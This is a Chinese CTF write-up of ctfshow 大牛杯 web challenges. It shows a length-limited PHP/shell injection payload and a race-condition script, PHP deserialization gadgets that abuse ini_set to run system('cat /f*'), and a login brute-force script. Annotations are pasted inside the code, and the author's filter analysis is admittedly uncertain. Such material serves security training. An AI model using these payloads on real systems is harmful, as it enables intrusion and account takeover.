ctfshow大牛杯

web_checkin

复制代码
<?php
error_reporting(0);
include "config.php";
//flag in /

function check_letter($code){
    $letter_blacklist = str_split("abcdefghijklmnopqrstuvwxyz1234567890");
    for ($i = 0; $i < count($letter_blacklist); $i+=2){
$i += 2。它只检查黑名单中索引为偶数的字符
被过滤的字符:a, c, e, g, i, k, m, o, q, s, u, w, y, 1, 3, 5, 7, 9(以及大写)
可用的字符:b, d, f, h, j, l, n, p, r, t, v, x, z, 2, 4, 6, 8, 0
        if (preg_match("/".$letter_blacklist[$i]."/i", $code)){
            die("xi nei~");
        }
    }
}

function check_character($code){
    $character_blacklist = array('=','\+','%','_','\)','\(','\*','&','\^','-','\$','#','`','@','!','~','\]','\[','}','{','\'','\"',';',' ','\/','\.','\?',',','<',':','>');
    for ($i = 1; $i < count($character_blacklist); $i+=2){
        if (preg_match("/".$character_blacklist[$i]."/", $code)){
这次是从 $i = 1 开始。它只检查索引为奇数的符号
被过滤的符号:+, _, (, &, -, #, @, ~, [, {, ",  (空格), ., ,, :
可用的符号:=, %, ), *, ^, $, , !, ], }, ', ;, /, >,?, <`(眼睛有点花,不确定列的对不对,我只能说意思到了)
            die("tongtong xi nei~");
        }
    }
}

$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';// 根据 IP 创建唯一沙箱目录
if (!file_exists($dir)) {
    mkdir($dir);
}
if (isset($_GET["code"])) {
    $code = substr($_GET["code"], 0, 12);// 限制输入长度为 12 个字符
    check_letter($code);
    check_character($code);

    file_put_contents("$dir" . "index.php", "<?php ".$code.$fuxkfile);
    // 返回目录路径
    echo $dir;
}else{
    highlight_file(__FILE__);
}

第一种做法

直接查看目录

复制代码
可用字符:" # & ( + , - . 0 2 4 6 8 : = @ B D F H J L N P R T V X Z [ _ b d f h j l n p r t v x z { | ~ 
?code=?><?=`nl%09/*`
闭合一下前面的语句
nl的一个特性,就是在 Shell 中,* 匹配当前路径的非隐藏文件和目录,/* → 匹配根目录下所有文件和一级子目录,并且nl会依序处理这些文件,输出他们的内容并加上行号,但是会跳过目录和二进制文件

给了一个路径我们进行访问即可获取flag

第二种做法

复制代码
?code=?><?=`nl%09*`

查看当前目录下的文件源码

复制代码
<!--?php
     4	    opendir("./");
     5	    while($filename = readdir()) {
     6	    if($filename != "." && $filename != ".." && $filename != "index.php") {
     7	            unlink($filename);
     8	        }
     9	    }
    10	    closedir();
    11	?-->

很明显是想让我们条件竞争。

生成文件

复制代码
?code=`nl%09/*>b`

import requests
import threading
import sys
session=requests.session()
url1="http://60c9a571-7c97-4dc3-b54f-52e00a48340c.challenge.ctf.show/sandbox/3fa05e3dafa3d6413be416b360149b5c/"
url2='http://60c9a571-7c97-4dc3-b54f-52e00a48340c.challenge.ctf.show/sandbox/3fa05e3dafa3d6413be416b360149b5c/b'
def write():
	while True:
		r = session.get(url1)
def read():
	while True:
		r = session.get(url2)
		if len(r.text)!=9561: #随便get传一次就能得到这个长度
    			print(r.text)

threads = [threading.Thread(target=write),
       threading.Thread(target=read)]
for t in threads:
	t.start()

easy_unserialize

复制代码
<?php

  /*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2021-04-22 17:44:48
# @Last Modified by:   h1xa
# @Last Modified time: 2021-04-26 11:30:38
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

  highlight_file(__FILE__);
class main{
  public $settings;
  public $params;

  public function __construct(){
    在类实例化时(new main())自动调用
    $this->settings=array(
      'display_errors'=>'On',
      'allow_url_fopen'=>'On'
    );
    初始化 $settings 数组,开启错误显示和远程文件打开功能
    $this->params=array();
  }
  public function __wakeup(){
    当执行 unserialize() 成功且对象被创建后,会立即调用
    foreach ($this->settings as $key => $value) {
      遍历 $settings 数组,通过 ini_set 动态修改 PHP 配置
      ini_set($key, $value);
    }
  }

  public function __destruct(){
    当对象被销毁(脚本结束或被 unset)时自动调用
    file_put_contents('settings.inc', unserialize($this->params));
  }
}



unserialize($_GET['data']);

Notice: Undefined index: data in /var/www/html/index.php on line 39

非预期解

复制代码
<?php
class A{
}
class main{
    public $settings;
    public $params;

    public function __construct(){
      利用了 PHP 的配置项(ini_set)
        $this->settings=array(
        'error_log'=>'yu.php',
        在原代码的 __wakeup 中,会执行 ini_set($key, $value)。这意味着你会成功将 PHP 的错误日志路径改为 yu.php
        'unserialize_callback_func'=>'<?php system("cat /f*");?>',
        unserialize_callback_func: 这是一个 PHP 配置项。当 unserialize() 尝试对一个未定义的类进行反序列化时,PHP 会尝试调用这个配置项指定的函数
        'html_errors'=>false
        );
        $this->params=serialize(new A());      
    }
}
$a=new main();
echo serialize($a);

成功执行

复制代码
<?php
class main{
    public $settings;
    public $params;

    public function __construct(){
        $this->settings=array(
        'unserialize_callback_func'=>'system',
        );
        $this->params='O:2:"ls":0:{}';      
    }
}
$a=new main();
echo serialize($a);

预期解

复制代码
<?php
class settings{
在后续步骤中,这个类名 settings 会与生成的 settings.inc 文件名产生关联
}
class main{
    public $settings;
    public $params;

    public function __construct(){
        $this->settings=array(
        'unserialize_callback_func'=>'spl_autoload',
        );
//$this->params=serialize("<?php system('cat /f*');"); 生成settings.inc文件,内容是<?php system('cat /f*');
//$this->params=serialize(new settings()); 加载settings.inc
//spl_autoload:这是 PHP 的默认自动加载函数。它的工作原理是:当你尝试实例化或反序列化一个不存在的类(例如 settings)时,它会尝试在当前目录下寻找并包含名为 settings.php 或 settings.inc 的文件
    }
}
$a=new main();
echo serialize($a);

也就是说如果第一个参数是settings第二个没有传值,就会去加载(include)settings.inc文件,并且setting.inc文件内容我们可控

下载下来就可以了

RealWorld_CyberShow

没有什么有用的信息,查看源码

看到有三个html页面一个一个查看

看到了登录页面

需要爆破用户密码

想要抓包爆破结果是被加密的

复制代码
import requests
import urllib3
 
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
 
url = "http://de35c1c8-a9d4-45cb-9d85-3ca5ce1709a6.challenge.ctf.show/log_in"
headers = {
    "Cookie": "JSESSIONID=0189FA915D476EBE590738FCD0FC7C76",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36",
    "Content-Type": "application/x-www-form-urlencoded",
    "Origin": "https://de35c1c8-a9d4-45cb-9d85-3ca5ce1709a6.challenge.ctf.show",
    "Referer": "https://de35c1c8-a9d4-45cb-9d85-3ca5ce1709a6.challenge.ctf.show/log_in/index.jsp"
}
 
for a in range(1,100000):
    data = {
        "username": str(2020000000+a),
        "enpwd": "f6d7fefbb39ed575",
        "key": "ed504e644c0c167552128ce15b040c61cdc632eb633dfb7b551ea493caadd041"
    }
    try:
        response = requests.post(url, headers=headers, data=data, verify=False)
        print(str(2020000000+a))
        if response.status_code == 200 and 'error' not in response.text:
            print(response.text)
    except requests.RequestException as e:
        print(f"Request failed: {e}")

是2020036001

easy CMS

涉及知识盲区了,之后会单独出一篇文章

相关推荐
Zhu75811 小时前
在k8s集群部署MySQL单实例,支持多个主流发行版
android·mysql·kubernetes
AFinalStone14 小时前
Android 7系统异常问题排查(四)Framework层(上)—System Server Watchdog
android·系统异常
宝杰X715 小时前
Android Room3 多平台数据库
android·数据库
huibin14785236918 小时前
热缓解学习记录
android·学习
小田的博客21 小时前
SAP MM 供应商银行主数据更新报错!message R1228!
android·java·服务器
一笑的小酒馆1 天前
Android智能猫砂盆视频加载慢卡顿问题分析
android
只会cv的小前端1 天前
七巧低代码服务端脚本使用方法
android·低代码·rxjava
1 天前
Android 自定义 View 实战:从零打造工业级全向摇杆控件(OmniJoystickView)
android·kotlin·自定义view·摇杆控件
雨白1 天前
深入理解 Kotlin 协程 (十一):以逸待劳,探秘 select 多路复用与并发安全策略
android·kotlin
hunterandroid1 天前
[Android 从零到一] Android 深度链接与 App Links:从 URI Scheme 到可验证的应用跳转
android